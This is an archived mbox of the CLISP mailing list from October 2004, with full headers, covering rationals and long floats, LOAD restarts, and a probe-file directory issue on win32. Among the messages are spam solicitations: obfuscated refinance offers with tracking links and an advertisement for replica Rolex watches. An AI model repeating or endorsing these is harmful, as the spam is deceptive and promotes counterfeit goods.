Steingold (http://www.podval.org/~sds) running w2k This message is rot13 encrypted (twice!); reading it violates DMCA. From tl@di.fc.ul.pt Thu Oct 14 14:34:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CIDEb-0005lq-Us for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 14:34:05 -0700 Received: from relay1.ptmail.sapo.pt ([212.55.154.21] helo=sapo.pt) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CIDEZ-0006XB-DN for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 14:34:05 -0700 Received: (qmail 32070 invoked from network); 14 Oct 2004 21:17:56 -0000 Received: from unknown (HELO sapo.pt) (10.134.35.157) by relay1 with SMTP; 14 Oct 2004 21:17:56 -0000 Received: (qmail 26105 invoked from network); 14 Oct 2004 21:17:56 -0000 Received: from unknown (HELO [192.168.1.40]) (tibo@sapo.pt@[81.193.144.87]) (envelope-sender ) by mta7 (qmail-ldap-1.03) with SMTP for ; 14 Oct 2004 21:17:56 -0000 Subject: Re: [clisp-list] Re: rationals & bignums From: Thibault Langlois Reply-To: tl@di.fc.ul.pt To: clisp-list@lists.sourceforge.net Cc: "Hoehle, Joerg-Cyril" In-Reply-To: References: <5F9130612D07074EB0A0CE7E69FD7A0301CAAB66@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain Organization: FCUL / DI Message-Id: <1097788674.2784.308.camel@kino> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 (1.4.6-2) Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 14 14:35:01 2004 X-Original-Date: Thu, 14 Oct 2004 22:17:55 +0100 On Thu, 2004-10-14 at 20:51, Sam Steingold wrote: > > * Hoehle, Joerg-Cyril [2004-10-14 17:39:43 +0200]: > > > > Thibault Langlois wrote: > > > >>I thought that rationals were made of two bignums and that I could not > >>have overflow errors. Am I wrong ? > > > > Well, maybe you should have a look at how large these bignums become, > > you may be surprised. Maybe you should have a look at CL's long float > > type (4 types in CL, only 2 in C et al), and esp. CLISP' settable > > length of these. > > Thanks for your answers. Clisp's long-floats are really long :-) ! On cmucl and Lispworks long-float and double-float have the same size. Using long floats is indeed much more efficient. There is also a variant of the algorithm I use (Baum-Welch algorithm for the estimation of HMM to name it) that rescales values during computation but I haven't implemented it yet. I just tried the lazy way using rationals. I expected the calculation eventually last too much time but I was not expecting an overflow error. -- Thibault Langlois FCUL / DI From sds@gnu.org Thu Oct 14 16:53:30 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CIFPW-0002dh-8U for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 16:53:30 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CIFPV-0001rz-1Y for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 16:53:30 -0700 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 4.42 #5) id 1CIFPU-0003QA-3g; Thu, 14 Oct 2004 19:53:28 -0400 To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301CAAA1D@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 14 Oct 2004 09:56:49 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301CAAA1D@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: RFE: restart for LOAD to skip this form Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 14 16:54:01 2004 X-Original-Date: Thu, 14 Oct 2004 19:53:27 -0400 > * Hoehle, Joerg-Cyril [2004-10-14 09:56:49 +0200]: > > did you ever wish for LOAD not to abort upon encountering the first > error while loading the file? To continue processign the remaining > forms in the file instead? > > Since both .lisp and .fas files are a successions of sexp [(loop (eval > (read))], there could be a SKIP restart instead of solely the ABORT > one, so as to be able to continue with the next form in the file. I think this would require a RESTART-BIND around evaluating every single form which, unless done by hand with load-time evaluation or something, would be a performance killer. -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX is as friendly to you as you are to it. Windows is hostile no matter what. From tedmondsyg@unitis.hu Fri Oct 15 15:13:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CIaK7-00041A-Sb for clisp-list@lists.sourceforge.net; Fri, 15 Oct 2004 15:13:19 -0700 Received: from slip-12-64-147-150.mis.prserv.net ([12.64.147.150] helo=unl.ac.uk) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CIaJn-0005HQ-SU for clisp-list@lists.sourceforge.net; Fri, 15 Oct 2004 15:13:19 -0700 Received: from 224.152.148.224 by smtp.unitis.hu; Fri, 15 Oct 2004 22:09:17 +0000 Message-ID: <133901c4b303$c8ea4206$4aed57ff@unl.ac.uk> From: "Taylor Edmonds" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.8 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [12.64.147.150 listed in dnsbl.sorbs.net] 1.6 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [12.64.147.150 listed in combined.njabl.org] Subject: [clisp-list] Application is pre approved Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 15 15:20:05 2004 X-Original-Date: Sat, 16 Oct 2004 05:09:17 +0700 Dear Sir or Madam, Would you REFlNANCE if you knew you'd SAVE TH0USANDS? We'll get you lnterest as low as 1.92%. Don't believe me? Fill out our small online questionaire and we'll show you how. Get the house/home and/or car you always wanted, it only takes 10 seconds of your time: http://www.insidefinancial.net/s5/e7.php?h8x=71 Best Regards, Anthony Jones No thanks: http://www.insidefinancial.net/s5/e7.php?h8x=71r1 From ikoch_nv@win.be Sat Oct 16 22:40:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CJ3mi-0003zg-Ey for clisp-list@lists.sourceforge.net; Sat, 16 Oct 2004 22:40:48 -0700 Received: from [218.235.24.161] (helo=cv.cl) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CJ3mh-0000ZZ-II for clisp-list@lists.sourceforge.net; Sat, 16 Oct 2004 22:40:48 -0700 Received: from 199.45.107.70 by smtp.win.be; Sun, 17 Oct 2004 05:39:07 +0000 Message-ID: <93fb01c4b40b$2b365f80$d43e695b@cv.cl> From: "Eli I. Koch" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.8 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [218.235.24.161 listed in dnsbl.sorbs.net] 1.6 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [218.235.24.161 listed in combined.njabl.org] Subject: [clisp-list] Application is pre approved Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 16 22:41:01 2004 X-Original-Date: Sun, 17 Oct 2004 03:38:59 -0200 Dear Sir or Madam, Would you REFlNANCE if you knew you'd SAVE TH0USANDS? We'll get you lnterest as low as 1.92%. Don't believe me? Fill out our small online questionaire and we'll show you how. Get the house/home and/or car you always wanted, it only takes 10 seconds of your time: http://www.insidefinancial.net/s5/e7.php?h8x=71 Best Regards, Anthony Jones No thanks: http://www.insidefinancial.net/s5/e7.php?h8x=71r1 From mcDowelllv@kommun.kiruna.se Sun Oct 17 07:20:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CJBu1-0001Or-GC for clisp-list@lists.sourceforge.net; Sun, 17 Oct 2004 07:20:53 -0700 Received: from [211.208.58.175] (helo=einstein.br) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CJBtz-0007Lx-UG for clisp-list@lists.sourceforge.net; Sun, 17 Oct 2004 07:20:52 -0700 Received: from 176.164.90.70 by smtp.kommun.kiruna.se; Sun, 17 Oct 2004 14:17:47 +0000 Message-ID: <291601c4b454$f7ec270e$ca5f404e@einstein.br> From: "Deann McDowell" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.8 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.1 SAVE_UP_TO BODY: Save Up To 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [211.208.58.175 listed in dnsbl.sorbs.net] 1.6 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [211.208.58.175 listed in combined.njabl.org] 1.0 RCVD_IN_RFCI RBL: Sent via a relay in ipwhois.rfc-ignorant.org [211.208.58.175 has inaccurate or missing WHOIS] [data at the RIR] Subject: [clisp-list] Order Rolex or other Swiss watches online Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 17 07:21:01 2004 X-Original-Date: Sun, 17 Oct 2004 20:17:22 +0600 Heya, Do you want a rolex watch? In our online store you can buy replicas of Rolex watches. They look and feel exactly like the real thing. - We have 20+ different brands in our selection - Free shipping if you order 5 or more - Save up to 40% compared to the cost of other replicas - Standard Features: - Screw-in crown - Unidirectional turning bezel where appropriate - All the appropriate rolex logos, on crown and dial - Heavy weight Visit us: http://www.toels.com/replica/rolex/ Best regards, Hilton Jones No thanks: http://toels.com/z.php From lisp-clisp-list@m.gmane.org Tue Oct 19 19:37:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CK6Lo-00076f-CY for clisp-list@lists.sourceforge.net; Tue, 19 Oct 2004 19:37:20 -0700 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CK6Lm-0003TX-Rb for clisp-list@lists.sourceforge.net; Tue, 19 Oct 2004 19:37:20 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CK6Lk-0007mI-00 for ; Wed, 20 Oct 2004 04:37:16 +0200 Received: from s93-2channel.dc.ukrtel.net ([195.5.21.146]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Oct 2004 04:37:16 +0200 Received: from udodenko by s93-2channel.dc.ukrtel.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Oct 2004 04:37:16 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Randolph Udodenko" Lines: 22 Message-ID: X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: s93-2channel.dc.ukrtel.net X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Comment-To: All FL-Build: Fidolook 2004 (HL) 6.0.2800.90 - 7/2/2004 14:37:42 X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.8 PRIORITY_NO_NAME Message has priority setting, but no X-Mailer Subject: [clisp-list] bug in probe-file? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 20 07:57:54 2004 X-Original-Date: Wed, 20 Oct 2004 05:38:15 +0300 Hello, All! sorry, i don't have latest binaries for win32 platform (i have 2.33.1) so i cannot see if bug is present in latest version, sorry if it's already have been reported/fixed.. bug looks like this: [1]> (probe-file #p"h:\\lisp\\asdf.lisp") #P"H:\\lisp\\asdf.lisp" [2]> (probe-file #p"h:\\lisp\\") *** - no file name given: #P"H:\\lisp\\" Break 1 [3]> it breaks on any folder.. as i understand, it should work fine with folders (and it does in all other lisps i have here), and it should not report error anyway.. With best regards. From edi@agharta.de Wed Oct 20 08:38:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKIY2-0002hY-GE for clisp-list@lists.sourceforge.net; Wed, 20 Oct 2004 08:38:46 -0700 Received: from mail.dbdmedia.de ([213.39.251.100] helo=bat.dbdmedia.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CKIY1-0005RZ-DE for clisp-list@lists.sourceforge.net; Wed, 20 Oct 2004 08:38:46 -0700 Received: from GROUCHO (nat.dbdmedia.de [192.168.5.30]) by bat.dbdmedia.de (Postfix) with ESMTP id 1CA483CC0BF; Wed, 20 Oct 2004 17:38:37 +0200 (CEST) To: "Randolph Udodenko" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bug in probe-file? References: From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: (Randolph Udodenko's message of "Wed, 20 Oct 2004 05:38:15 +0300") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 20 08:46:21 2004 X-Original-Date: Wed, 20 Oct 2004 17:38:36 +0200 On Wed, 20 Oct 2004 05:38:15 +0300, "Randolph Udodenko" wrote: > as i understand, it should work fine with folders No, it doesn't have to. > (and it does in all other lisps i have here), and it should not > report error anyway.. Here's a good explanation and a workaround: Edi. From sds@gnu.org Wed Oct 20 09:05:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKIxR-0001ak-59 for clisp-list@lists.sourceforge.net; Wed, 20 Oct 2004 09:05:01 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CKIxQ-0000es-IC for clisp-list@lists.sourceforge.net; Wed, 20 Oct 2004 09:05:01 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i9KG4oVV008636; Wed, 20 Oct 2004 12:04:50 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Randolph Udodenko" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Randolph Udodenko's message of "Wed, 20 Oct 2004 05:38:15 +0300") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Randolph Udodenko" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " Subject: [clisp-list] Re: bug in probe-file? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 20 09:10:41 2004 X-Original-Date: Wed, 20 Oct 2004 12:04:50 -0400 > * Randolph Udodenko [2004-10-20 05:38:15 +0300]: > > [2]> (probe-file #p"h:\\lisp\\") > > *** - no file name given: #P"H:\\lisp\\" > > it breaks on any folder.. as i understand, it should work fine with > folders (and it does in all other lisps i have here), and it should > not report error anyway.. -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't ascribe to malice what can be adequately explained by stupidity. From lisp-clisp-list@m.gmane.org Wed Oct 20 13:33:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKN9U-00057J-HS for clisp-list@lists.sourceforge.net; Wed, 20 Oct 2004 13:33:44 -0700 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CKN9T-0000kp-0E for clisp-list@lists.sourceforge.net; Wed, 20 Oct 2004 13:33:44 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CKN9S-0004Sn-00 for ; Wed, 20 Oct 2004 22:33:42 +0200 Received: from s93-2channel.dc.ukrtel.net ([195.5.21.146]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Oct 2004 22:33:42 +0200 Received: from udodenko by s93-2channel.dc.ukrtel.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Oct 2004 22:33:42 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Randolph Udodenko" Lines: 27 Message-ID: References: X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: s93-2channel.dc.ukrtel.net X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Comment-To: Edi Weitz FL-Build: Fidolook 2004 (HL) 6.0.2800.90 - 7/2/2004 14:37:42 X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.8 PRIORITY_NO_NAME Message has priority setting, but no X-Mailer Subject: [clisp-list] Re: bug in probe-file? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 20 13:39:20 2004 X-Original-Date: Wed, 20 Oct 2004 23:33:35 +0300 (message (Hello 'Edi) (you :wrote :on '(Wed, 20 Oct 2004 17:38:36 +0200)) ( >> (and it does in all other lisps i have here), and it should not >> report error anyway.. EW> Here's a good explanation and a workaround: EW> EW> library.html> oh shit.. problem is not in my code - i try to run CL-PREVALENCE examples with clisp (it appears to be working with sbcl, lispworks and openmcl according to conditional parts in system-dependent layer) and there is such expression: (probe-file (get-directory system)) i couldn't imagine that there can be incompatibility with such stuff.. ) (With-best-regards '(Randolph Udodenko) :aka 'killer_storm) (prin1 "Jane dates only Lisp programmers")) From edi@agharta.de Wed Oct 20 15:28:06 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKOw6-0006hA-TQ for clisp-list@lists.sourceforge.net; Wed, 20 Oct 2004 15:28:02 -0700 Received: from ns.agharta.de ([62.159.208.90] helo=miles.agharta.de ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CKOw5-000398-AQ for clisp-list@lists.sourceforge.net; Wed, 20 Oct 2004 15:28:02 -0700 Received: from GROUCHO (trane.agharta.de [62.159.208.82]) by miles.agharta.de (Postfix) with ESMTP id 7AFF02CC0DA; Thu, 21 Oct 2004 00:27:56 +0200 (CEST) To: "Randolph Udodenko" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: bug in probe-file? References: From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: (Randolph Udodenko's message of "Wed, 20 Oct 2004 23:33:35 +0300") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 20 15:34:58 2004 X-Original-Date: Thu, 21 Oct 2004 00:27:55 +0200 On Wed, 20 Oct 2004 23:33:35 +0300, "Randolph Udodenko" wrote: > problem is not in my code - i try to run CL-PREVALENCE examples with > clisp (it appears to be working with sbcl, lispworks and openmcl > according to conditional parts in system-dependent layer) and there > is such expression: > > (probe-file (get-directory system)) Maybe you should report that to the CL-PREVALENCE maintainers. Edi. From pascal@informatimago.com Wed Oct 20 19:05:25 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CKSKN-0007X7-UQ for clisp-list@lists.sourceforge.net; Wed, 20 Oct 2004 19:05:19 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CKSKL-0006wf-M7 for clisp-list@lists.sourceforge.net; Wed, 20 Oct 2004 19:05:19 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AC242586E4; Thu, 21 Oct 2004 04:05:10 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4156C50E25; Thu, 21 Oct 2004 04:04:47 +0200 (CEST) Message-ID: <16759.6463.241473.644081@thalassa.informatimago.com> To: "Randolph Udodenko" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: bug in probe-file? In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW 